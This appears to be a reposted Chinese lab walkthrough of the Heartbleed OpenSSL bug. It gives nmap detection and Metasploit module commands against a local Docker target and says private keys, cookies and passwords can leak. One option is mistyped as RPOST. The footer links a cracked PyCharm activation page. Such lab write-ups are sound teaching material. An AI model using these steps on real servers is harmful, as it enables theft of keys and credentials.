1. 全栈程序员必看首页

CVE-2014-0160：心脏出血（心血）漏洞

全栈程序员-站长 • • 未分类 • 阅读 24

CVE-2014-0160：心脏出血（心血）漏洞0x00漏洞介绍是一个出现在加密程序库OpenSSL的安全漏洞，该程序错误属于缓冲区过读，即可以读取的数据比应该允许读取的还多0x01漏洞成因由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露0x02…

大家好，又见面了，我是你们的朋友全栈君。

0x00 漏洞介绍

是一个出现在加密程序库OpenSSL的安全漏洞，该程序错误属于缓冲区过读，即可以读取的数据比应该允许读取的还多

0x01 漏洞成因

由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露

0x02 影响范围

OpenSSL1.0.1版本

0x03 环境搭建

使用docker一键搭建环境

docker-compose build
docker-compose up -d
docker-compose ps

在这里插入图片描述
在这里插入图片描述
环境搭建完成后，访问http://192.168.220.134，测试环境是否搭建成功
http://192.168.220.134/
在这里插入图片描述

0x04 漏洞复现

使用nmap检测“心脏出血”漏洞是否存在，指定端口号为443

nmap -sV -p 443 --script ssl-heartbleed.nse 192.168.220.134

在这里插入图片描述
使用msf对漏洞进行利用，查找heartbleed模块

msf5 > search heartbleed

在这里插入图片描述
使用第一个选项，设置主机IP地址、端口号，设置verbose为true以便于显示泄露的信息

msf5 > use auxiliary/scanner/ssl/openssl_heartbleed 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 192.168.220.134
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPOST 443
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

在这里插入图片描述
在这里插入图片描述
漏洞利用成功后可以抓取到信息，包括服务器的私钥、用户的cookie、密码等
在这里插入图片描述

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/160530.html原文链接：https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长
0 0


相关推荐

  • ntp服务器ntp协议时间戳,计算机的时钟（一）：NTP 协议[通俗易懂]

    ntp服务器ntp协议时间戳,计算机的时钟（一）：NTP 协议[通俗易懂]

    ntp服务器ntp协议时间戳,计算机的时钟（一）：NTP 协议[通俗易懂]本系列文章主要介绍计算机系统中时钟的处理。主要内容包含NTP，Lamport逻辑时钟，向量时钟，TrueTime等。本文是第一篇，介绍NTP协议。电脑的时钟不知道你注意过没有，假如隔了好几天打开你的电脑，任务栏的时间依然是显示正确的，即使你的电脑没有联网，这是如何做到的？post-quartz.png计算机的主板上有一个石英晶体振荡器和一个纽扣电池。石英晶体振荡器的频率是32768Hz每秒。在通电…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年10月12日
    0
  • Nginx日志切割脚本

    Nginx日志切割脚本

    Nginx日志切割脚本

    全栈程序员-站长的头像 全栈程序员-站长
    2021年6月4日
    122
  • PYCHAR激活码(破解版激活) idea

    PYCHAR激活码(破解版激活)

    PYCHAR激活码(破解版激活)，https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧！

    全栈程序员-站长的头像 全栈程序员-站长
    2022年3月16日
    43
  • 5分钟搞定！java免费源码网站

    5分钟搞定！java免费源码网站

    5分钟搞定！java免费源码网站一、前言最近刚读完一本书：《Netty、Zookeeper、Redis并发实战》，个人觉得Netty部分是写得很不错的，读完之后又对Netty进行了一波很好的复习（之前用springboot+netty+zookeeper模仿dubbo做rpc框架，那时候是刚学netty后自己造的小轮子）。虽然对于Netty的使用已经比较熟悉了，而且还知道它的底层是基于JavaNIO做进一步的封装，使得并发性能和开发效率得到大大的提升。但是，对于同步阻塞、同步非阻塞、异步这

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月8日
    28
  • 教师职称考计算机模块,2015教师职称计算机考试模块.doc

    教师职称考计算机模块,2015教师职称计算机考试模块.doc

    教师职称考计算机模块,2015教师职称计算机考试模块.doc2015教师职称计算机考试模块2015年教师职称计算机考试模块【职考宝典】为广大考生归纳2015年职称计算机考试模块，让考生提前进入考试氛围，了解考试题型，职考宝典涵盖面积广，模拟题库包含Internet应用，word2003、2007，winXP、wpsoffice、excel2003、2007,ppt2003、2007等。山东、广东、安徽、内蒙古、黑龙江、湖南、山西、云南、辽宁、新疆、浙江…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年5月5日
    46
  • CreateFile()打开串口失败，返回句柄值为0xffffffff

    CreateFile()打开串口失败，返回句柄值为0xffffffff

    CreateFile()打开串口失败，返回句柄值为0xffffffff出错情况：设备1和设备2分别使用COM1和COM2外界通信，在不关闭软件的情况下，调换串口（即设备1/2，分别使用COM2/1），此时出错？以下是查找原因的步骤：_hCommHandle=::CreateFile( _szCommStr, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLA

    全栈程序员-站长的头像 全栈程序员-站长
    2022年5月16日
    51

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号